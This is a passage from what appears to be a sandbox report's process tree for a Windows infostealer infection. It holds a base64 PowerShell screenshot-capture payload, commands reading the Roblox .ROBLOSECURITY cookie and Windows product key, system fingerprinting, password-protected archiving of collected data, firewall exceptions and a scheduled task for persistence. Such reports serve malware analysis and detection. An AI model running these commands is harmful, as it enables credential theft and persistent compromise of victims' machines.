AAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                      5⤵
                                        PID:2156
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                          6⤵
                                            PID:2944
                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u43dsuhp\u43dsuhp.cmdline"
                                              7⤵
                                                PID:3668
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES18A5.tmp" "c:\Users\Admin\AppData\Local\Temp\u43dsuhp\CSC1199B1D21B1248259711DBA3AE63373B.TMP"
                                                  8⤵
                                                    PID:4576
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                              5⤵
                                                PID:3408
                                                • C:\Windows\system32\tree.com
                                                  tree /A /F
                                                  6⤵
                                                    PID:5476
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                  5⤵
                                                    PID:5832
                                                    • C:\Windows\system32\tree.com
                                                      tree /A /F
                                                      6⤵
                                                        PID:3024
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                      5⤵
                                                        PID:5812
                                                        • C:\Windows\system32\tree.com
                                                          tree /A /F
                                                          6⤵
                                                            PID:5556
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                          5⤵
                                                            PID:832
                                                            • C:\Windows\system32\tree.com
                                                              tree /A /F
                                                              6⤵
                                                                PID:616
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                              5⤵
                                                                PID:5012
                                                                • C:\Windows\system32\tree.com
                                                                  tree /A /F
                                                                  6⤵
                                                                    PID:5924
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                  5⤵
                                                                    PID:4924
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                      6⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      PID:3440
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                    5⤵
                                                                      PID:4620
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                        6⤵
                                                                          PID:4840
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c "getmac"
                                                                        5⤵
                                                                          PID:3284
                                                                          • C:\Windows\system32\getmac.exe
                                                                            getmac
                                                                            6⤵
                                                                              PID:888
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI54122\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\wMtfT.zip" *"
                                                                            5⤵
                                                                              PID:2392
                                                                              • C:\Users\Admin\AppData\Local\Temp\_MEI54122\rar.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\_MEI54122\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\wMtfT.zip" *
                                                                                6⤵
                                                                                  PID:760
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                5⤵
                                                                                  PID:420
                                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                                    wmic os get Caption
                                                                                    6⤵
                                                                                      PID:5824
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                    5⤵
                                                                                      PID:5832
                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                        wmic computersystem get totalphysicalmemory
                                                                                        6⤵
                                                                                          PID:5708
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                        5⤵
                                                                                          PID:5556
                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                            wmic csproduct get uuid
                                                                                            6⤵
                                                                                              PID:2552
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                            5⤵
                                                                                              PID:564
                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                6⤵
                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                PID:4276
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                              5⤵
                                                                                                PID:5464
                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                  wmic path win32_VideoController get name
                                                                                                  6⤵
                                                                                                  • Detects videocard installed
                                                                                                  PID:1164
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                5⤵
                                                                                                  PID:3708
                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                    6⤵
                                                                                                      PID:3476
                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\4422_8390.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\4422_8390.exe"
                                                                                                3⤵
                                                                                                  PID:2204
                                                                                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
                                                                                                    4⤵
                                                                                                      PID:7056
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\4181_461.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\4181_461.exe"
                                                                                                    3⤵
                                                                                                      PID:3704
                                                                                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
                                                                                                        4⤵
                                                                                                          PID:7616
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3704 -s 152
                                                                                                          4⤵
                                                                                                          • Program crash
                                                                                                          PID:7204
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\EmmetPROD.exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\EmmetPROD.exe"
                                                                                                        3⤵
                                                                                                          PID:5184
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c wmic computersystem get name, TotalPhysicalMemory /Value && wmic os get caption /Value && wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value && ipconfig | find "IPv4" | find /N ":" | find "[1]"
                                                                                                            4⤵
                                                                                                              PID:1552
                                                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                wmic computersystem get name, TotalPhysicalMemory /Value
                                                                                                                5⤵
                                                                                                                  PID:4548
                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                  wmic os get caption /Value
                                                                                                                  5⤵
                                                                                                                    PID:5376
                                                                                                                  • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                    wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /Value
                                                                                                                    5⤵
                                                                                                                      PID:1600
                                                                                                                    • C:\Windows\SysWOW64\ipconfig.exe
                                                                                                                      ipconfig
                                                                                                                      5⤵
                                                                                                                      • Gathers network information
                                                                                                                      PID:4056
                                                                                                                    • C:\Windows\SysWOW64\find.exe
                                                                                                                      find "IPv4"
                                                                                                                      5⤵
                                                                                                                        PID:3944
                                                                                                                      • C:\Windows\SysWOW64\find.exe
                                                                                                                        find /N ":"
                                                                                                                        5⤵
                                                                                                                          PID:5472
                                                                                                                        • C:\Windows\SysWOW64\find.exe
                                                                                                                          find "[1]"
                                                                                                                          5⤵
                                                                                                                            PID:4760
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\lem.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\lem.exe"
                                                                                                                        3⤵
                                                                                                                          PID:2788
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\1374_2790.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\1374_2790.exe"
                                                                                                                          3⤵
                                                                                                                            PID:3052
                                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
                                                                                                                              4⤵
                                                                                                                                PID:2472
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3052 -s 296
                                                                                                                                4⤵
                                                                                                                                • Program crash
                                                                                                                                PID:5744
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\29.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\29.exe"
                                                                                                                              3⤵
                                                                                                                                PID:1956
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1956 -s 392
                                                                                                                                  4⤵
                                                                                                                                  • Program crash
                                                                                                                                  PID:6636
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\5.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\5.exe"
                                                                                                                                3⤵
                                                                                                                                  PID:8172
                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 8172 -s 396
                                                                                                                                    4⤵
                                                                                                                                    • Program crash
                                                                                                                                    PID:6192
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\6.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\6.exe"
                                                                                                                                  3⤵
                                                                                                                                    PID:6120
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 6120 -s 396
                                                                                                                                      4⤵
                                                                                                                                      • Program crash
                                                                                                                                      PID:7884
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\35.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\35.exe"
                                                                                                                                    3⤵
                                                                                                                                      PID:7584
                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 7584 -s 396
                                                                                                                                        4⤵
                                                                                                                                        • Program crash
                                                                                                                                        PID:7964
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\43.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\43.exe"
                                                                                                                                      3⤵
                                                                                                                                        PID:6080
                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 6080 -s 396
                                                                                                                                          4⤵
                                                                                                                                          • Program crash
                                                                                                                                          PID:8028
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\41.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\41.exe"
                                                                                                                                        3⤵
                                                                                                                                          PID:1096
                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 1096 -s 396
                                                                                                                                            4⤵
                                                                                                                                            • Program crash
                                                                                                                                            PID:6756
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\42.exe
                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\42.exe"
                                                                                                                                          3⤵
                                                                                                                                            PID:7112
                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 7112 -s 392
                                                                                                                                              4⤵
                                                                                                                                              • Program crash
                                                                                                                                              PID:2924
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\34.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\34.exe"
                                                                                                                                            3⤵
                                                                                                                                              PID:6276
                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 6276 -s 396
                                                                                                                                                4⤵
                                                                                                                                                • Program crash
                                                                                                                                                PID:5888
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\4.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\4.exe"
                                                                                                                                              3⤵
                                                                                                                                                PID:6328
                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6328 -s 396
                                                                                                                                                  4⤵
                                                                                                                                                  • Program crash
                                                                                                                                                  PID:6664
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\3.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\3.exe"
                                                                                                                                                3⤵
                                                                                                                                                  PID:5188
                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5188 -s 408
                                                                                                                                                    4⤵
                                                                                                                                                    • Program crash
                                                                                                                                                    PID:2868
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\38.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\38.exe"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:3312
                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 3312 -s 392
                                                                                                                                                      4⤵
                                                                                                                                                      • Program crash
                                                                                                                                                      PID:3836
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\a\16.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\a\16.exe"
                                                                                                                                                    3⤵
                                                                                                                                                      PID:7100
                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 7100 -s 396
                                                                                                                                                        4⤵
                                                                                                                                                        • Program crash
                                                                                                                                                        PID:3408
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\2.exe
                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\2.exe"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:408
                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 396
                                                                                                                                                          4⤵
                                                                                                                                                          • Program crash
                                                                                                                                                          PID:1660
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\25.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\25.exe"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:5036
                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5036 -s 228
                                                                                                                                                            4⤵
                                                                                                                                                            • Program crash
                                                                                                                                                            PID:7516
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\a\svchost.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\a\svchost.exe"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1588
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\systemetape.exe
                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\systemetape.exe"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:2156
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\systemsound.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\systemsound.exe"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:7252
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\a\Microsoft_Hardware_Launch.exe
                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\a\Microsoft_Hardware_Launch.exe"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:4956
                                                                                                                                                                  • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                    netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\Microsoft_Hardware_Launch.exe" "Microsoft_Hardware_Launch.exe" ENABLE
                                                                                                                                                                    4⤵
                                                                                                                                                                    • Modifies Windows Firewall
                                                                                                                                                                    PID:2928
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\a\lastest.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\a\lastest.exe"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:8632
                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\svchost.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\svchost.exe"
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:6304
                                                                                                                                                                        • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                          netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svchost.exe" "svchost.exe" ENABLE
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Modifies Windows Firewall
                                                                                                                                                                          PID:7044
                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                          taskkill /F /IM ApplicationFrameHost.exe
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                          PID:6804
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\a\heo.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\a\heo.exe"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:5360
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\a\Server.exe
                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\a\Server.exe"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:2080
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\server.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:5508
                                                                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                5⤵
                                                                                                                                                                                • Modifies Windows Firewall
                                                                                                                                                                                PID:8312
                                                                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                netsh firewall delete allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe"
                                                                                                                                                                                5⤵
                                                                                                                                                                                • Modifies Windows Firewall
                                                                                                                                                                                PID:468
                                                                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\server.exe" "server.exe" ENABLE
                                                                                                                                                                                5⤵
                                                                                                                                                                                • Modifies Windows Firewall
                                                                                                                                                                                PID:1848
                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                schtasks /create /sc minute /mo 1 /tn StUpdate /tr C:\Users\Admin\AppData\Local\Temp/StUpdate.exe
                                                                                                                                                                                5⤵
                                                                                                                                                                                • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                PID:2960
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\a\Server1.exe
                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\a\Server1.exe"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:3572
                                                                                                                                                                              • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\Server1.exe" "Server1.exe" ENABLE
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Modifies Windows Firewall
                                                                                                                                                                                PID:6544
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\a\856.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\a\856.exe"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:8360
                                                                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                  netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\856.exe" "856.exe" ENABLE
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                                                                  PID:3876
                                                                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                  netsh firewall delete allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\856.exe"
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                                                                  PID:444
                                                                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                  netsh firewall add allowedprogram "C:\Users\Admin\AppData\Local\Temp\a\856.exe" "856.exe" ENABLE
                                                                                                                                                                                  4⤵
                                                                                                                                                                                  • Modifies Windows Firewall
                                                                                                                                                                                  PID:7308
                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe
                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Microsoft\svchost.exe"
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:5944
                                                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
